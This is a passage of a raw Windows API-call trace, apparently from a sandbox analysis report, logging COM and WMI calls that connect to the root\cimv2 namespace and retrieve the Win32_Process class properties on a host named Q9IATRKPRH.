riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0152.515] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc416c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc941b0) returned 0x0 [0152.515] WbemDefPath:IUnknown:Release (This=0x1bc416c0) returned 0x0 [0152.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc941b0) returned 0x0 [0152.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0152.515] WbemDefPath:IUnknown:AddRef (This=0x1bc941b0) returned 0x3 [0152.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0152.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0152.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc415e0) returned 0x0 [0152.515] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc415e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0152.515] WbemDefPath:IUnknown:Release (This=0x1bc415e0) returned 0x3 [0152.515] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0152.515] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0152.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0152.516] WbemDefPath:IUnknown:Release (This=0x1bc941b0) returned 0x2 [0152.516] WbemDefPath:IUnknown:Release (This=0x1bc941b0) returned 0x1 [0152.516] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0152.516] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0152.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc941b0) returned 0x0 [0152.516] WbemDefPath:IUnknown:AddRef (This=0x1bc941b0) returned 0x3 [0152.516] WbemDefPath:IUnknown:Release (This=0x1bc941b0) returned 0x2 [0152.516] WbemDefPath:IWbemPath:SetText (This=0x1bc941b0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0152.516] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc941b0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0152.516] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0152.516] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0152.516] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0152.516] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0152.516] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0152.516] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.517] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc41320) returned 0x0 [0152.517] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc41320, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0152.517] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc41320, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc41340) returned 0x0 [0152.518] WbemLocator:IUnknown:Release (This=0x1bc41320) returned 0x0 [0152.518] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc41340, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc41340) returned 0x0 [0152.518] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc41340, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0152.518] WbemLocator:IUnknown:AddRef (This=0x1bc41340) returned 0x3 [0152.518] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc41340, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0152.518] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc41340, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0152.518] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc41340, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0152.518] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0152.518] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0152.518] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc41340, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0152.518] WbemLocator:IUnknown:Release (This=0x1bc41340) returned 0x2 [0152.518] WbemLocator:IUnknown:Release (This=0x1bc41340) returned 0x1 [0152.518] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0152.518] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0152.518] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc41340, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc41340) returned 0x0 [0152.519] WbemLocator:IUnknown:AddRef (This=0x1bc41340) returned 0x3 [0152.519] WbemLocator:IUnknown:Release (This=0x1bc41340) returned 0x2 [0152.519] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc941b0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0152.519] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0152.519] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0152.519] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc413c0) returned 0x0 [0152.519] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc413c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc36330) returned 0x0 [0152.926] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36330, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbdc680) returned 0x0 [0152.926] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdc680, pProxy=0x1bc36330, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0152.926] WbemLocator:IUnknown:Release (This=0x1bbdc680) returned 0x1 [0152.926] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36330, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbdc6c0) returned 0x0 [0152.926] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36330, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbdc680) returned 0x0 [0152.926] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdc680, pProxy=0x1bc36330, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0152.926] WbemLocator:IUnknown:Release (This=0x1bbdc680) returned 0x2 [0152.926] WbemLocator:IUnknown:Release (This=0x1bbdc6c0) returned 0x1 [0152.926] CoTaskMemFree (pv=0x1aa16650) [0152.927] WbemLocator:IUnknown:AddRef (This=0x1bc36330) returned 0x2 [0152.927] WbemLocator:IUnknown:Release (This=0x1bc413c0) returned 0x0 [0152.927] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0152.927] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0152.927] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36330, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbdc690) returned 0x0 [0152.927] WbemLocator:IRpcOptions:Query (in: This=0x1bbdc690, pPrx=0x1bc41300, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0152.928] WbemLocator:IUnknown:Release (This=0x1bbdc690) returned 0x2 [0152.928] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0152.928] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0152.928] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36330, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc36330) returned 0x0 [0152.928] WbemLocator:IUnknown:Release (This=0x1bc36330) returned 0x2 [0152.928] SysStringLen (param_1=0x0) returned 0x0 [0152.928] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc941b0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0152.928] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0152.928] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0152.928] WbemDefPath:IWbemPath:GetText (in: This=0x1bc944b0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0152.928] WbemDefPath:IWbemPath:GetText (in: This=0x1bc944b0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0152.929] IWbemServices:GetObject (in: This=0x1bc36330, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bcf4200, ppCallResult=0x0) returned 0x0 [0152.932] IWbemClassObject:Get (in: This=0x1bcf4200, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0152.932] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0152.932] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0152.933] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0152.933] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0152.933] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0152.933] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.935] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc413c0) returned 0x0 [0152.935] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc413c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0152.935] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc413c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc94030) returned 0x0 [0152.935] WbemDefPath:IUnknown:Release (This=0x1bc413c0) returned 0x0 [0152.935] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc94030) returned 0x0 [0152.935] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0152.936] WbemDefPath:IUnknown:AddRef (This=0x1bc94030) returned 0x3 [0152.936] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0152.936] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0152.936] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc413e0) returned 0x0 [0152.936] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc413e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0152.936] WbemDefPath:IUnknown:Release (This=0x1bc413e0) returned 0x3 [0152.936] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0152.936] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0152.936] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0152.936] WbemDefPath:IUnknown:Release (This=0x1bc94030) returned 0x2 [0152.936] WbemDefPath:IUnknown:Release (This=0x1bc94030) returned 0x1 [0152.936] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0152.936] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0152.936] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94030, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc94030) returned 0x0 [0152.936] WbemDefPath:IUnknown:AddRef (This=0x1bc94030) returned 0x3 [0152.936] WbemDefPath:IUnknown:Release (This=0x1bc94030) returned 0x2 [0152.937] WbemDefPath:IWbemPath:SetText (This=0x1bc94030, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0152.937] IWbemClassObject:Get (in: This=0x1bcf4200, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0152.937] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0152.937] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0152.937] IWbemClassObject:Get (in: This=0x1bcf4200, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0152.937] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0152.937] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0152.937] IWbemClassObject:Get (in: This=0x1bcf4200, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0152.938] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0152.938] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0152.938] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0152.938] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 